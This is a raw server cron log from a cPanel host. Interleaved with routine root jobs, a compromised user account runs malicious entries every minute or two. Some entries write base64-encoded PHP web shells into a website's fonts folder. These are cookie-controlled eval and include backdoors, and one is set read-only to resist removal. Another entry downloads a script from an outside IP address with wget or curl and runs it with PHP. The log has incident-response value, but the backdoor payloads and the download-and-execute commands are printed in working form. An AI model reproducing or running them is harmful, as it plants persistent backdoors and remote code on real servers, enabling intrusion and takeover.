Sep  4 18:27:02 ip-184-168-122-23 CROND[2623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:27:02 ip-184-168-122-23 CROND[2625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:28:01 ip-184-168-122-23 CROND[2709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:28:01 ip-184-168-122-23 CROND[2712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:28:01 ip-184-168-122-23 CROND[2713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:28:01 ip-184-168-122-23 CROND[2711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:28:01 ip-184-168-122-23 CROND[2710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:29:01 ip-184-168-122-23 CROND[2809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:29:01 ip-184-168-122-23 CROND[2810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:29:01 ip-184-168-122-23 CROND[2811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:29:01 ip-184-168-122-23 CROND[2812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:30:01 ip-184-168-122-23 CROND[2984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:30:01 ip-184-168-122-23 CROND[2987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:30:01 ip-184-168-122-23 CROND[2989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:30:01 ip-184-168-122-23 CROND[2988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:30:01 ip-184-168-122-23 CROND[2991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:30:01 ip-184-168-122-23 CROND[2990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:30:01 ip-184-168-122-23 CROND[2986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:30:01 ip-184-168-122-23 CROND[2996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:31:01 ip-184-168-122-23 CROND[3087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:31:01 ip-184-168-122-23 CROND[3089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:31:01 ip-184-168-122-23 CROND[3088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:31:01 ip-184-168-122-23 CROND[3090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:31:01 ip-184-168-122-23 CROND[3091]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 18:32:01 ip-184-168-122-23 CROND[3182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:32:01 ip-184-168-122-23 CROND[3185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:32:01 ip-184-168-122-23 CROND[3184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:32:01 ip-184-168-122-23 CROND[3183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:32:01 ip-184-168-122-23 CROND[3186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:33:01 ip-184-168-122-23 CROND[3270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:33:01 ip-184-168-122-23 CROND[3271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:33:01 ip-184-168-122-23 CROND[3273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:33:01 ip-184-168-122-23 CROND[3272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:34:01 ip-184-168-122-23 CROND[3356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:34:01 ip-184-168-122-23 CROND[3360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:34:01 ip-184-168-122-23 CROND[3358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:34:01 ip-184-168-122-23 CROND[3359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:34:01 ip-184-168-122-23 CROND[3361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:35:01 ip-184-168-122-23 CROND[3535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:35:01 ip-184-168-122-23 CROND[3539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:35:01 ip-184-168-122-23 CROND[3541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:35:01 ip-184-168-122-23 CROND[3543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:35:01 ip-184-168-122-23 CROND[3537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:35:01 ip-184-168-122-23 CROND[3542]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 18:35:01 ip-184-168-122-23 CROND[3538]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 18:35:01 ip-184-168-122-23 CROND[3540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:36:01 ip-184-168-122-23 CROND[3634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:36:01 ip-184-168-122-23 CROND[3636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:36:01 ip-184-168-122-23 CROND[3639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:36:01 ip-184-168-122-23 CROND[3637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:36:01 ip-184-168-122-23 CROND[3641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:37:01 ip-184-168-122-23 CROND[3758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:37:01 ip-184-168-122-23 CROND[3759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:37:01 ip-184-168-122-23 CROND[3760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:37:01 ip-184-168-122-23 CROND[3761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:38:01 ip-184-168-122-23 CROND[3860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:38:01 ip-184-168-122-23 CROND[3859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:38:01 ip-184-168-122-23 CROND[3861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:38:01 ip-184-168-122-23 CROND[3862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:38:01 ip-184-168-122-23 CROND[3863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:39:01 ip-184-168-122-23 CROND[3956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:39:01 ip-184-168-122-23 CROND[3957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:39:01 ip-184-168-122-23 CROND[3960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
